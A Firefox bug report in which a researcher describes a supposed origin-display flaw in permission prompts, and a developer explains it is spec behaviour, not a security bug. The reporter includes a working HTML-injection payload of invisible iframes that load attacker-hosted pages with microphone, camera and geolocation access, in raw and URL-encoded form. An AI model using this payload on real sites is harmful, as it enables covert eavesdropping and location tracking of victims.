Firefox Desktop : Origin/domain Display Manipulation on Permission Prompts
Categories
(Firefox :: Site Permissions, defect)
Tracking
()
People
(Reporter: armaanpathan, Unassigned)
References
Details
Attachments
(3 files)
Screenshot 2025-02-07 at 8.21.16 PM.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Steps to reproduce:
Firefox incorrectly displays permission requests from third-party iframes to the top-level origin, misleading users into granting microphone, camera, and geolocation access to malicious domains.
Actual results:
Attacker Preparation:
-
Host malicious code on 12x.site (e.g., a microphone recording script).
-
Identify an XSS vulnerability or an HTML injection flaw on a trusted site (https://begbounty.xyz).
-
Inject an iframe through the vulnerable input field, such as a comment section or embedded widget, using:
<iframe id="legitimate-content" src="https://12x.site/poc.html" allow="microphone" style="opacity: 0;"></iframe> <iframe id="legitimate-content" src="https://12x.site/pocx.html" allow="camera" style="opacity: 0;"></iframe><iframe id="legitimate-content" src="https://12x.site/attacker/map.php/attacker/map.php" allow="geolocation" style="opacity: 0;"></iframe>
User Interaction:
A user visits begbounty.xyz(https://begbounty.xyz/xss.php?user_input=%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/poc.html%22%20allow=%22microphone%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E%20%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/pocx.html%22%20allow=%22camera%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/attacker/map.php/attacker/map.php%22%20allow=%22geolocation%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E), where the attacker's script dynamically injects the malicious iframe
Firefox Desktop displays a misleading prompt:
"Allow begbounty.xyz to access your microphone, camera, geolocation?"
The prompt does not indicate that the permission is actually being requested by 12x.site.
Exploitation:
If the user clicks “Allow,” 12x.site gains persistent access to:
-
Microphone (audio eavesdropping)
-
Camera (photo/video capture)
-
Geolocation (real-time tracking)
The attacker records audio, takes photos, and tracks the victim’s location in real-time and exfiltrates the data to their server.
DETAILED Excplaination about "allow attribute & permission policy"
-
It clearly illustrates a real-world attack scenario in Chrome Desktop, going beyond just an issue related to iframe allow= attributes. The HTML payload includes an iframe with the allow attribute, and the attacker has control over how the payload is crafted.
-
Permission Policy header is not relevant to the actual vulnerability being discussed. This issue is not about whether a Permission Policy header is set or not; rather, it concerns Origin Display Manipulation on Permission Prompts—the core vulnerability here.
-
The exploit allows the permission prompt to display one domain while actually granting permissions to a different domain. This is the fundamental security flaw, not the absence or presence of a Permission Policy header.
-
To demonstrate this, I exploited an HTML injection vulnerability on begbounty.xyz, but this attack is not limited to just this site.
-
Any website vulnerable to HTML injection or XSS can be abused in the same way, making this a more widespread issue.
-
Not every website implements a Permission Policy header, as it is not a default security measure enforced by browsers—it is entirely up to individual site owners to configure it.
The Core Issue:
The real security concern is that an attacker can manipulate permission prompts to deceive users, leading them to unknowingly grant permissions to an unintended domain. This is a significant vulnerability that goes beyond whether a Permission Policy header is present.
-
Users Are Misled into Granting Permissions
Firefox assumes users fully understand that permissions are granted at the parent frame level, not the iframe level.
In reality, users only see the top-level domain (https://begbounty.xyz) in the permission prompt, not 12x.site, making them believe the trusted site is requesting access. -
Large-Scale Exploitation Across Multiple Trusted Sites
Attackers can inject iframes across multiple compromised trusted sites using XSS, reusing the same exploit.
Steps to reproduce
-
https://begbounty.xyz/xss.php?user_input=<vulnerable_xss> , this domain is vulnerable with HTML injection.
-
Note that browser prompt will show that begbounty.xyz is requesting camera,mic and geolocation permissions.
-
Once you approve it, it will give all permissions to https://12x.site
-
Browse https://12x.site/uploads/recording.webm and this will show that attacker has used microphone .
-
browse https://12x.site/maps.html and it will show geo location.
Expected results:
it should prompt that 12x.site wants to access the permissions.
|
||
Comment 1•1 month ago
|
||
(In reply to armaanpathan from comment #0)
Are you the same person who reported bug 1945848, by any chance?
- It clearly illustrates a real-world attack scenario in Chrome Desktop, going beyond just an issue related to iframe allow= attributes. The HTML payload includes an iframe with the allow attribute, and the attacker has control over how the payload is crafted.
Did you report this to Chrome? Can you please link the ticket?
- Permission Policy header is not relevant to the actual vulnerability being discussed. This issue is not about whether a Permission Policy header is set or not
Does the exploit work if the toplevel site (with the XSS vulnerability) does not have the Permission-Policy header set? (begbounty.xyz does set the permission policy)
|
|
||
Updated•1 month ago
|
|
Reporter | |
Comment 2•1 month ago
|
||
- Yes, I am the same person who reported bug 1945848. I’m reporting from this account for tracking purposes.
The exploit is not dependent on whether the Permission-Policy header is set or not. The issue is specifically about how an attacker can craft the HTML payload, including the iframe with the allow attribute, to bypass restrictions and execute a real-world attack scenario in Chrome Desktop.
I have tested this with both configurations:
<IfModule mod_headers.c>
Header set Permissions-Policy "microphone=(), camera=(), geolocation=(), usb=(), fullscreen=()"
</IfModule>
and
<IfModule mod_headers.c>
Header set Permissions-Policy "microphone=(self), camera=(self), geolocation=(self)"
</IfModule>
Despite these settings, the attack still works, demonstrating that the Permission-Policy header does not mitigate the issue.
I am attaching proof-of-concept screenshots as evidence. Let me know if any further clarification is required.
|
|
Reporter | |
Comment 3•1 month ago
|
||
|
|
Reporter | |
Comment 4•1 month ago
|
||
|
|
Reporter | |
Comment 5•1 month ago
|
||
verify it by observing its response.
Note: this attack will also work on firefox mobile browsers.
|
|
Reporter | |
Comment 6•1 month ago
|
||
do let me know if you need any additional details regarding the same.
|
||
Comment 7•1 month ago
|
||
Firefox incorrectly displays permission requests from third-party iframes to the top-level origin
Firefox correctly displays the origin that is being granted the permission as specified in the Permissions-Policy spec, as I explained in bug 1945848. As does every other major browser, independently implemented in at least three distinct browser engines.
I do understand the attack scenario you are describing and it is a legitimate concern, but in creating the spec the working group weighed that against other attacks including some—seen in active use by scammers—where users were confused by permission requests from malicious ads and assumed it was the top-level site asking anyway (no one reads the small print in those prompts). On the protective side, framed cross-origin content can't ask for any permissions AT ALL by default, traded-off against the top-level site having to take responsibility for who they delegate permissions to.
The problem you describe of an XSS in the top-level site was also considered. In your scenario the attacker uses the XSS to delegate permissions to framed cross-origin content. That same XSS could instead request the same permissions for itself directly, or create an empty frame and document.write() the content into it that requests the permission which would be legitimately considered same-origin.
You're free to go argue your point with the standards folks and try to get that aspect changed, but it's not a security bug in any browser that has implemented that spec.
If the user clicks “Allow,” 12x.site gains persistent access to:
You've gone and opened a separate 12x.site page to confirm it now has the access? No, it does not get "persistent" access to those permissions; it can use those permissions while it is being framed by the top-level site and while that top-level site has delegated those permissions to it.
The exploit is not dependent on whether the Permission-Policy header is set or not.
Firefox has not implemented the Permissions-Policy header. In Chrome, which has, your scenario works when the header grants 'self' permission (because it can be delegated), but a site using the header might actually use it to completely turn off permissions it doesn't need. In that case your attack would fail.
This is a known issue, does not need to be hidden
|
|
Reporter | |
Comment 8•1 month ago
|
||
Thanks! Can i go ahead and blog about this ?
Description
•